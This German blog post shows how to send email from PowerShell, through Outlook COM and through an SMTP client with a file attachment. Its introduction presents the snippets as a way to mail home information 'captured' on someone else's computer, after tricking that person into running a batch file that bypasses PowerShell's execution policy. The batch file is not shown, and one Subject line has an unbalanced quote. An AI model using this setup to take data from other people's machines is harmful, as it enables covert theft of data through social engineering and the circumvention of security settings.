Kategorieauswahl

Mit Powershell E-Mails verschicken

Sie wollen mit Powershell auf einem anderen Rechner etwas „anstellen“ und sich die „erbeuteten“ Informationen per Mail schicken lassen? Dazu müssen Sie lediglich den Empfänger „überreden“ eine Batch Datei auszuführen, die die Ausführungsrichtlinie der Powershell für die Ausführung des Scripts mal eben umgeht und Ihr Powershellscript laufen lässt. Knick rolleyes, knack mrgreen, Sie wissen schon twisted! Wie das geht erfahren Sie hier. Die fett gedruckten Passagen können Sie nach Ihren Bedürfnissen anpassen.

So, mit Outlook aus dem Powershellscript heraus eine E-Mail schicken:

$ol = New-Object -comObject Outlook.Application  
$mail = $ol.CreateItem(0)
$mail.Recipients.Add("NamedesEmpfänders@domäne.de")
$mail.Subject = "Betreff: Info fuer den Empfaenger"
$mail.Body = "Hier können Sie Ihren Nachrichtentext übergeben. Gerne auch in Form einer Variablen. Ihre Informationen, sollten dann aber als Objekt-Typ STRING vorliegen."
$Mail.Send()
oder mittels SMTP-Server:
$Dateiname = "Pfad zum Dateianhang, falls Sie einen mit versenden möchten"    # z.B. c:\zipdatei.zip
$SmtpServer = new-object system.net.mail.smtpClient
$SmtpServer.Host = "hostname.domände.de"                                        # FQDN des SMTP-Servers
$MailMessage = New-Object system.net.mail.mailmessage
$Anhang = new-object Net.Mail.Attachment($Dateiname)
$MailMessage.from = "Absenderadresse"
$MailMessage.To.add("Empfängeradresse")
$MailMessage.Subject = “Betreff: Info fuer den Empfaenger
$MailMessage.IsBodyHtml = $true                                                           # je nachdem ob Sie html ($true) oder txt ($false) Mails schicken möchten
$MailMessage.Body = "Hier können Sie Ihren Nachrichtentext übergeben. Gerne auch in Form einer Variablen. Ihre Informationen, sollten dann aber als Objekt-Typ STRING vorliegen."
$MailMessage.Attachments.Add($Anhang)
$SmtpServer.Send($MailMessage)

Anregungen und Kommentare erwünscht